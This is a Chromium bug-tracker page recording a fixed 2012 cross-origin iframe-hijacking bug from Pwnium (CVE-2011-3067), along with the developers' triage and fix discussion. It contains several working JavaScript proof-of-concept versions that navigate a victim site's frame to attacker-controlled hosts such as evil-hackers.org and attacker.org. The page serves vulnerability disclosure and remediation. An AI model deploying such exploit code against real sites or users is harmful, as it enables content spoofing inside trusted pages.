New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user
Status: Fixed
Owner: ----
Closed: Mar 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
Iframe hijacking from Pwnium
Project Member Reported by tsepez@chromium.org, Mar 9 2012 Back to list
<html>
<script>
var popup, context;

function step1() {
  popup = window.open(null, 'popup');
  setTimeout("step2()", 1000);
}

function step2() {
  context = popup.Function;
  popup.location = 'http://www.youtube.com';
  setTimeout("step3()", 1000);
}

function step3() {
  context("popup", "popup['yva-iframe'].location = 'data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.cr\
eateElement(\x22iframe\x22));frame.src=\x22http://evil-hackers.org\x22;%3c/script%3e%3c/body%3e'")(popup);
  setTimeout("step4()", 2000);
}

function step4() {
  popup.location = 'data:text/html,%3cscript%3ehistory.back()%3c/script%3e';
}
</script>
<button onclick="step1()">go</button>
</html>



 
Cc: abarth@chromium.org
Ick.  Forgot to replace the URLs in the example with example URLs.  No assurance the frames needed will be present on youtubes.
Better version:  use frames[0] to get at any frame rather than a specifically named one:

var popup, context;

function step1() {
  popup = window.open(null, 'popup');
  setTimeout("step2()", 1000);
}

function step2() {
  context = popup.Function.bind(popup);
  popup.location = 'http://www.victim.com';
  setTimeout("step3()", 1000);
}

function step3() {
  context("popup", "popup.frames[0].location = 'data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.create\
Element(\x22iframe\x22));frame.src=\x22http:/attacker.org\x22;%3c/script%3e%3c/body%3e'")(popup);
  setTimeout("step4()", 2000);
}

function step4() {
  popup.location = 'data:text/html,%3cscript%3ehistory.back()%3c/script%3e';
}



What is the consequence of this example?
Sorry, too terse.  The idea is that I can replace the content of frame on the victim page with content from anywhere on the web.
Ah, ok.
Comment 7 by tsepez@chromium.org, Mar 12 2012
Summary: Iframe hijacking from Pwnium (was: NULL)
s/hacking/hijacking/ in subject line.  No wonder it was confusing.
Comment 8 by tsepez@chromium.org, Mar 12 2012
Also works on the Safari.  Is there an upstream bug, Adam?
Comment 9 by palmer@chromium.org, Mar 12 2012
Labels: -Area-Undefined Area-WebKit
Status: Available
FYI for anyone else that runs into this:

With the latest example (from comment #3), I get:

Uncaught TypeError: Cannot set property 'location' of undefined
(anonymous function)
step3iframe-jack.html:18
(anonymous function)

(although a new tab is opened and navigated to http://www.victim.com).

In my copy of the code, line 18 is:

 16 function step3() {
 17   context("popup",
 18           "popup.frames[0].location = 'data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.createElement(\x22iframe\x22));frame.src=\x22http:/attacker.org\x22;%3c/script%3e%3c/body%3e'")(popup);
 19   setTimeout("step4()", 2000);
 20 }

So frames[0] was not defined. To make this work, I changed step2 to set popup.location to a page on my web server that contains a single empty iframe. Then the attack works.
Yeah, still my bad.  Attacker and victim were placeholders for sites that meet the criteria.
> Is there an upstream bug, Adam?

I haven't created one.  I don't see one linked here, so we should probably create one an cross-link it.
(using frame[0], youtube.com as the victim, and evil-hackers.org as the attacker works pretty reliably.  evil-hackers.org is a placeholder page some idiot put up a few years ago when he found he was sending out examples using this as a placeholder ...
(and step4() doesn't seem to be required on ordinary HTML pages).
<html>
<script>
var popup, popup_function;

function step1() {
  popup = window.open(null, 'popup');
  setTimeout("step2()", 1000);
}

function step2() {
  popup_function = popup.Function;
  popup.location = 'http://www.youtube.com';
  setTimeout("step3()", 1000);
}

function step3() {
  popup_function("window.frames[0].location = 'http://evil-hackers.org';")();
}

</script>
<button onclick="step1()">go</button>
</html>

Comment 15 by cdn@chromium.org, Mar 13 2012
Labels: OS-All
Labels: -SecSeverity-High SecSeverity-Medium
I'd say this is more like a medium?
Labels: pwnium
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
Thanks, Adam.

Committed r112184: <http://trac.webkit.org/changeset/112184>
@tsepez @abarth: I'm just thinking on what the correct severity may be here. Feels more like a low to me but I'm not sure.

Do we still run script inside blocked pop-up windows? If so it might be a medium: a bad ad could pop up a window and script inside that could navigate a more sensitive frame of the visible page? Is that correct?
Labels: -Merge-Approved Merge-Merged
M18: http://trac.webkit.org/changeset/112897
Labels: CVE-2011-3067
Comment 23 by cdn@chromium.org, May 15 2012
Status: Fixed
Marking old security bugs Fixed..
Project Member Comment 24 by bugdroid1@chromium.org, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member Comment 25 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-WebKit -Mstone-18 -SecSeverity-Medium -SecImpacts-Stable Cr-Content Security-Impact-Stable Security-Severity-Medium M-18 Type-Bug-Security
Project Member Comment 26 by bugdroid1@chromium.org, Mar 13 2013
Labels: Restrict-View-EditIssue
Project Member Comment 27 by bugdroid1@chromium.org, Mar 13 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member Comment 29 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 30 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member Comment 31 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 32 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 33 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment